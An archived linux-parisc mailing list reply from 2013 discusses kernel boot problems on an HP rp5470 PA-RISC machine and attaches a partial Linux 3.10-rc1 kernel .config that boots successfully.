Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UcgFV-0002G6-QO
	for glpp-linux-parisc@plane.gmane.org; Wed, 15 May 2013 20:16:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933013Ab3EOSQZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 May 2013 14:16:25 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:59693 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933011Ab3EOSQY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 May 2013 14:16:24 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0M84Qp-1UGBRm07e5-00vcfH for
 <linux-parisc@vger.kernel.org>; Wed, 15 May 2013 20:16:23 +0200
Original-Received: (qmail invoked by alias); 15 May 2013 18:16:22 -0000
Original-Received: from p54AD1227.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.18.39]
  by mail.gmx.net (mp032) with SMTP; 15 May 2013 20:16:22 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18ZcvMdzY0Z6neFLb6Rw03UB2ee1zcVu5FbmQNAYf
	C1eyVx26sta0m/
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <alpine.SOC.1.00.1305150957460.29631@math.ut.ee>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5023>

This is a multi-part message in MIME format.
--------------030800080103050901040501
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Hi Meelis,

On 05/15/2013 08:59 AM, Meelis Roos wrote:
>>> It did not work - first a __schedule_bug, 
>>
>> I assume you have CONFIG_PREEMPT enabled? We know it's currently broken.
> 
> It is already disabled:
> 
> CONFIG_PREEMPT_NONE=y
> # CONFIG_PREEMPT_VOLUNTARY is not set
> # CONFIG_PREEMPT is not set
> CONFIG_PREEMPT_COUNT=y
> 
> I just enabled the new irqstacks...

Ok, the good thing is, that I got today a rp5470 with which I could reproduce your problems.

The bad thing is:
Beside CONFIG_PREEMPT, CONFIG_DISCONTIGMEM is broken too.

I never noticed the DISCONTIGMEM bug, because all my other machines have flat/linear memory.

Attached is a .config with which I was able to successfully boot (tftpboot) into.
I'm right now looking into getting this machine installed via a new 3.10-rc1 kernel with the debian-5010-hppa-DVD-1.iso (and the initrd from it).

If I have something working I will make it available.

Helge

--------------030800080103050901040501
Content-Type: text/plain; charset=UTF-8;
 name=".config"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename=".config"

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.10.0-rc1 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y

#
# General setup
#
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION="-64bit"
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_FHANDLE is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_DOMAIN=y
# CONFIG_IRQ_DOMAIN_DEBUG is not set
# CONFIG_ALWAYS_USE_PERSISTENT_CLOCK is not set

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_BSD_PROCESS_ACCT_V3=y
CONFIG_TASKSTATS=y
CONFIG_TASK_DELAY_ACCT=y
CONFIG_TASK_XACCT=y
CONFIG_TASK_IO_ACCOUNTING=y

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_PREEMPT_RCU is not set
# CONFIG_RCU_STALL_COMMON is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_IKCONFIG is not set
CONFIG_LOG_BUF_SHIFT=17
# CONFIG_CGROUPS is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW=y
CONFIG_HOTPLUG=y
# CONFIG_EXPERT is not set
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_PCI_QUIRKS=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
# CONFIG_PROFILING is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_HAVE_64BIT_ALIGNED_ACCESS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_MOD_ARCH_SPECIFIC=y
CONFIG_MODULES_USE_ELF_RELA=y
CONFIG_CLONE_BACKWARDS=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
CONFIG_MODULE_FORCE_LOAD=y
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
CONFIG_MODVERSIONS=y
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_BSGLIB=y
CONFIG_BLK_DEV_INTEGRITY=y

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLOCK_COMPAT=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
# CONFIG_IOSCHED_DEADLINE is not set
CONFIG_IOSCHED_CFQ=y
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
CONFIG_BROKEN_RODATA=y
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
CONFIG_INLINE_READ_UNLOCK=y
CONFIG_INLINE_READ_UNLOCK_IRQ=y
CONFIG_INLINE_WRITE_UNLOCK=y
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
CONFIG_PA8X00=y
CONFIG_PA20=y
CONFIG_PREFETCH=y
CONFIG_MLONGCALLS=y
CONFIG_64BIT=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_IRQSTACKS=y
CONFIG_ARCH_SELECT_MEMORY_MODEL=y
CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
# CONFIG_HZ_100 is not set
CONFIG_HZ_250=y
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=250
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_COMPACTION is not set
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=0
CONFIG_NEED_BOUNCE_POOL=y
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_NEED_PER_CPU_KM=y
# CONFIG_CLEANCACHE is not set
# CONFIG_FRONTSWAP is not set
CONFIG_COMPAT=y
CONFIG_SYSVIPC_COMPAT=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
CONFIG_HPPB=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
# CONFIG_EISA is not set
CONFIG_PCI=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
CONFIG_PCI_STUB=m
CONFIG_PCI_ATS=y
CONFIG_PCI_IOV=y
# CONFIG_PCI_PRI is not set
# CONFIG_PCI_PASID is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
CONFIG_PDC_CHASSIS=y
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
CONFIG_BINFMT_SCRIPT=y
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=m
CONFIG_COREDUMP=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
# CONFIG_PACKET_DIAG is not set
CONFIG_UNIX=y
# CONFIG_UNIX_DIAG is not set
CONFIG_XFRM=y
CONFIG_XFRM_ALGO=m
CONFIG_XFRM_USER=m
CONFIG_XFRM_SUB_POLICY=y
CONFIG_XFRM_MIGRATE=y
# CONFIG_XFRM_STATISTICS is not set
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
# CONFIG_NET_IP_TUNNEL is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_NET_IPVTI is not set
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
# CONFIG_INET_TUNNEL is not set
CONFIG_INET_XFRM_MODE_TRANSPORT=m
CONFIG_INET_XFRM_MODE_TUNNEL=m
CONFIG_INET_XFRM_MODE_BEET=m
CONFIG_INET_LRO=m
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_INET_UDP_DIAG is not set
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
# CONFIG_NETFILTER_ADVANCED is not set

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_NETLINK=y
CONFIG_NETFILTER_NETLINK_LOG=y
CONFIG_NF_CONNTRACK=m
CONFIG_NF_CONNTRACK_PROCFS=y
CONFIG_NF_CONNTRACK_FTP=m
CONFIG_NF_CONNTRACK_IRC=m
# CONFIG_NF_CONNTRACK_NETBIOS_NS is not set
CONFIG_NF_CONNTRACK_SIP=m
CONFIG_NF_CT_NETLINK=m
CONFIG_NF_NAT=m
CONFIG_NF_NAT_NEEDED=y
# CONFIG_NF_NAT_AMANDA is not set
CONFIG_NF_NAT_FTP=m
CONFIG_NF_NAT_IRC=m
CONFIG_NF_NAT_SIP=m
# CONFIG_NF_NAT_TFTP is not set
CONFIG_NETFILTER_XTABLES=m

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=m

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_LOG=m
# CONFIG_NETFILTER_XT_TARGET_NETMAP is not set
CONFIG_NETFILTER_XT_TARGET_NFLOG=m
# CONFIG_NETFILTER_XT_TARGET_REDIRECT is not set
CONFIG_NETFILTER_XT_TARGET_TCPMSS=m

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=m
CONFIG_NETFILTER_XT_MATCH_POLICY=m
CONFIG_NETFILTER_XT_MATCH_STATE=m
# CONFIG_IP_SET is not set
# CONFIG_IP_VS is not set

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=m
CONFIG_NF_CONNTRACK_IPV4=m
CONFIG_NF_CONNTRACK_PROC_COMPAT=y
CONFIG_IP_NF_IPTABLES=m
CONFIG_IP_NF_FILTER=m
CONFIG_IP_NF_TARGET_REJECT=m
CONFIG_IP_NF_TARGET_ULOG=m
CONFIG_NF_NAT_IPV4=m
CONFIG_IP_NF_TARGET_MASQUERADE=m
# CONFIG_NF_NAT_PPTP is not set
# CONFIG_NF_NAT_H323 is not set
CONFIG_IP_NF_MANGLE=m
# CONFIG_IP_NF_RAW is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
CONFIG_HAVE_NET_DSA=y
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
CONFIG_DCB=y
CONFIG_DNS_RESOLVER=m
# CONFIG_BATMAN_ADV is not set
# CONFIG_OPENVSWITCH is not set
# CONFIG_VSOCKETS is not set
# CONFIG_NETLINK_MMAP is not set
# CONFIG_NETLINK_DIAG is not set
CONFIG_BQL=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
CONFIG_AF_RXRPC=y
# CONFIG_AF_RXRPC_DEBUG is not set
# CONFIG_RXKAD is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_RFKILL_REGULATOR is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH=""
CONFIG_DEVTMPFS=y
# CONFIG_DEVTMPFS_MOUNT is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
# CONFIG_FIRMWARE_IN_KERNEL is not set
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_GENERIC_CPU_DEVICES is not set
# CONFIG_DMA_SHARED_BUFFER is not set

#
# Bus devices
#
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8
# CONFIG_BLK_DEV_CRYPTOLOOP is not set
# CONFIG_BLK_DEV_DRBD is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_NVME is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_BLK_DEV_RSXX is not set

#
# Misc devices
#
# CONFIG_SENSORS_LIS3LV02D is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_INTEL_MID_PTI is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ATMEL_SSC is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_PCH_PHUB is not set
# CONFIG_SRAM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=m
CONFIG_IDE_GD_ATA=y
CONFIG_IDE_GD_ATAPI=y
CONFIG_BLK_DEV_IDECD=m
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_PCIBUS_ORDER=y
# CONFIG_BLK_DEV_OFFBOARD is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
# CONFIG_BLK_DEV_NS87415 is not set
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
CONFIG_BLK_DEV_TC86C001=m
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
# CONFIG_CHR_DEV_SG is not set
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
CONFIG_SCSI_ISCSI_ATTRS=y
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
CONFIG_SCSI_SRP_ATTRS=y
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
CONFIG_ISCSI_BOOT_SYSFS=y
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_SCSI_BNX2X_FCOE is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_HPSA is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_UFSHCD is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_LE_ON_BE=y
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_IPR is not set
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
CONFIG_SCSI_QLA_ISCSI=y
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_CHELSIO_FCOE is not set
CONFIG_SCSI_DH=y
# CONFIG_SCSI_DH_RDAC is not set
# CONFIG_SCSI_DH_HP_SW is not set
# CONFIG_SCSI_DH_EMC is not set
# CONFIG_SCSI_DH_ALUA is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
CONFIG_ATA=y
# CONFIG_ATA_NONSTANDARD is not set
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
# CONFIG_SATA_AHCI is not set
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
# CONFIG_ATA_PIIX is not set
# CONFIG_SATA_HIGHBANK is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
# CONFIG_PATA_AMD is not set
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CS5520 is not set
# CONFIG_PATA_CS5530 is not set
# CONFIG_PATA_CS5536 is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
# CONFIG_PATA_OLDPIIX is not set
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
# CONFIG_PATA_SC1200 is not set
# CONFIG_PATA_SCH is not set
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
CONFIG_ATA_GENERIC=y
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
